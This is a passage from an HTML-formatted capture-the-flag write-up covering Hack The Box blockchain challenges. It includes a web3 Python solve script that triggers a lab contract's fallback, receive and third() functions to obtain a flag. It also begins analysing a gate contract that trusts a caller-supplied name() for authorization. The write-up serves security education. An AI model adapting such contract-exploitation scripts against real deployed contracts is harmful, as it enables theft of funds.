&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bool&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;stateMutability&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;view&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;function&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;inputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;third&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;outputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;stateMutability&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;nonpayable&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;function&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;inputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;thirdShot&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;outputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;internalType&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bool&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bool&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;stateMutability&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;view&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;function&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;stateMutability&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;payable&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;receive&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Create contract instances&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">setup_contract&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">contract&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">address&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">SETUP_CONTRACT_ADDRESS&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">abi&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">SETUP_CONTRACT_ABI&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">target_contract&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">contract&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">address&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">TARGET_CONTRACT_ADDRESS&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">abi&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">TARGET_CONTRACT_ABI&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">print_status&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">first_shot_status&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">target_contract&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">functions&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">firstShot&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">call&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">second_shot_status&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">target_contract&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">functions&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">secondShot&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">call&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">third_shot_status&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">target_contract&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">functions&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">thirdShot&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">call&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;First shot: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">first_shot_status&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">, Second shot: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">second_shot_status&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">, Third shot: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">third_shot_status&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># First shot: Call the fallback function&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">transaction&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;from&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">my_account&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">address&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;to&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">TARGET_CONTRACT_ADDRESS&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;value&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;gas&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">3000000&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;gasPrice&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">to_wei&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;10&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;gwei&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;nonce&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_transaction_count&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">my_account&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">address&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;data&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;0x&amp;#39;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s1">&amp;#39;00&amp;#39;&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">32&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1"># Add 32 bytes of zero data to trigger the fallback function&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">signed_transaction&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">my_account&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">signTransaction&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">transaction&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">transaction_hash&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">send_raw_transaction&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">signed_transaction&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rawTransaction&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">transaction_receipt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">wait_for_transaction_receipt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">transaction_hash&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">print_status&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Trigger the receive function to hit the second target&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">transaction&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;value&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">to_wei&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;2&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;ether&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">transaction&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;nonce&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_transaction_count&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">my_account&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">address&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">transaction&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;data&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;0x&amp;#39;&lt;/span> &lt;span class="c1"># Send an empty data field to trigger the receive function&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">signed_transaction&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">my_account&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">signTransaction&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">transaction&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">transaction_hash&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">send_raw_transaction&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">signed_transaction&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rawTransaction&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">transaction_receipt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">wait_for_transaction_receipt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">transaction_hash&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">print_status&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Trigger the third function to hit the third target&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">_&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">):&lt;/span> &lt;span class="c1"># Increase the number of times we call the third() function&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">transaction&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">target_contract&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">functions&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">third&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">build_transaction&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;from&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">my_account&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">address&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;gas&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">3000000&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;gasPrice&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">to_wei&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;10&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;gwei&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;nonce&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_transaction_count&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">my_account&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">address&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">})&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">signed_transaction&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">my_account&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">signTransaction&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">transaction&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">transaction_hash&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">send_raw_transaction&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">signed_transaction&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rawTransaction&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">transaction_receipt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">wait_for_transaction_receipt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">transaction_hash&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">print_status&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Check if the challenge is solved&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">is_solved&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">setup_contract&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">functions&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">isSolved&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">call&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Challenge solved:&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">is_solved&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Run the script and get the flag.&lt;/p>
&lt;img src="Solved2.png" alt="Solved" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{f33l5_n1c3_h1771n6_y0ur_74r6375}&lt;/strong>&lt;/p>
&lt;p>&lt;strong>Fun fact: The script used to solve this challenge was generated by ChatGPT.&lt;/strong>&lt;/p>
&lt;h2 id="the-art-of-deception">The Art Of Deception&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given zip:&lt;/strong> &lt;a href="https://drive.google.com/drive/folders/1372QkXFtk-wwnEQRMxV2wkysXJtazzcn?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Your cyborg abilities are not always the most effective tools for achieving your goals. Sometimes, you need to go unnoticed and blend in with your surroundings. To achieve this, you must learn to assume new identities and blend in with different groups of people. Mastering the art of deception requires subtlety, observation, and the ability to read people&amp;rsquo;s motivations and intentions. After completing this training, you will emerge as a skilled infiltrator, capable of seamlessly blending in with your surroundings and achieving your objectives with stealth and subtlety. Can you bypass the High Security Gate and sneak into the Fortified Perimeter?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Blockchain&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>In this challenge, the objective is to trick the &lt;code>HighSecurityGate&lt;/code> contract, making its lastEntrant equal to &lt;code>Pandora&lt;/code>. The &lt;code>Setup&lt;/code> contract imports and initializes the &lt;code>HighSecurityGate&lt;/code> contract. The &lt;code>isSolved()&lt;/code> function checks if the lastEntrant variable in the &lt;code>HighSecurityGate&lt;/code> contract is equal to &lt;code>Pandora&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">isSolved&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">view&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">TARGET&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">strcmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">TARGET&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">lastEntrant&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="s">&amp;#34;Pandora&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>HighSecurityGate&lt;/code> contract has an array of authorized names (Orion, Nova, and Eclipse), and the &lt;code>enter()&lt;/code> function checks if the name returned by the Entrant interface implementation matches any of the authorized names. If it does, the lastEntrant variable is updated with the returned name.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">string&lt;/span>&lt;span class="p">[]&lt;/span> &lt;span class="k">private&lt;/span> &lt;span class="n">authorized&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s">&amp;#34;Orion&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Nova&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Eclipse&amp;#34;&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">string&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">lastEntrant&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">enter&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Entrant&lt;/span> &lt;span class="n">_entrant&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Entrant&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_isAuthorized&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_entrant&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">name&lt;/span>&lt;span class="p">()),&lt;/span> &lt;span class="s">&amp;#34;Intruder detected&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">lastEntrant&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_entrant&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">name&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
